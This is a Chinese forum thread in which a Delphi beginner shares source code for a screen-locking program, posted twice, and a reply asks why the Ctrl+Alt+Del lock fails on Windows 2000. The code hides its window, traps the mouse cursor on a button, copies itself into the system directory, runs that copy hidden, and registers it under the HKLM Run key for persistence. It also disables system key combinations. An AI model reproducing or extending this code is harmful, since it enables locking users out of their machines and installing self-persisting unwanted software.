我不知道行不行,前几天我有问这个问题,许多例子不知道有多少错误,你把BOTTON改成TEDIT这样可以输入密码进入,我想这会好一些,我刚学DELPHI,以后多照顾:)unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, registry;type TForm1 = class(TForm) Button2: TButton; procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end;var Form1: TForm1;implementation{$R *.dfm}function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'\' then Result := Result + '\'; end;procedure TForm1.FormCreate(Sender: TObject); var d:integer; myname:string; MyReg:tRegistry; rtButton2: TRect; begin application.ShowMainForm:=false; application.Title:=''; // 获取B u t t o n 2组件的坐标 rtButton2 := Button2.BoundsRect; // 将坐标转换为屏幕坐标 MapWindowPoints(handle, 0, rtButton2, 2); // 将鼠标移动的范围限制在B u t t o n 2组件上 ClipCursor( @rtButton2 ) ; myname:=ExtractFilename(Application.Exename); //获得文件名 if application.Exename<>GetWindir+myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir+myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件end; MyReg:=TRegistry.Create; MyReg.RootKey:=HKEY_LOCAL_MACHINE; if myReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True) then begin myReg.WriteString('Prettyboy',GetWindir+myname); myReg.CloseKey; end;D:= 0; SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @D, 0); SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @D, 0);end;procedure TForm1.Button2Click(Sender: TObject); beginend;end.
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, registry;type
TForm1 = class(TForm)
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;implementation{$R *.dfm}function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;procedure TForm1.FormCreate(Sender: TObject);
var
d:integer;
myname:string;
MyReg:tRegistry;
rtButton2: TRect;
begin
application.ShowMainForm:=false;
application.Title:='';
// 获取B u t t o n 2组件的坐标
rtButton2 := Button2.BoundsRect;
// 将坐标转换为屏幕坐标
MapWindowPoints(handle, 0, rtButton2, 2);
// 将鼠标移动的范围限制在B u t t o n 2组件上
ClipCursor( @rtButton2 ) ;
myname:=ExtractFilename(Application.Exename); //获得文件名
if application.Exename<>GetWindir+myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir+myname), False);{将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件end;
MyReg:=TRegistry.Create;
MyReg.RootKey:=HKEY_LOCAL_MACHINE;
if myReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True) then
begin
myReg.WriteString('Prettyboy',GetWindir+myname);
myReg.CloseKey;
end;D:= 0;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @D, 0);
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @D, 0);end;procedure TForm1.Button2Click(Sender: TObject);
beginend;end.
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @D, 0);这个只能锁住98的系统健,不能对win2k有效
我试过了!ctrl+alt+del 在win2k中照样出来!我晕
这是为什么?该有好办法吧。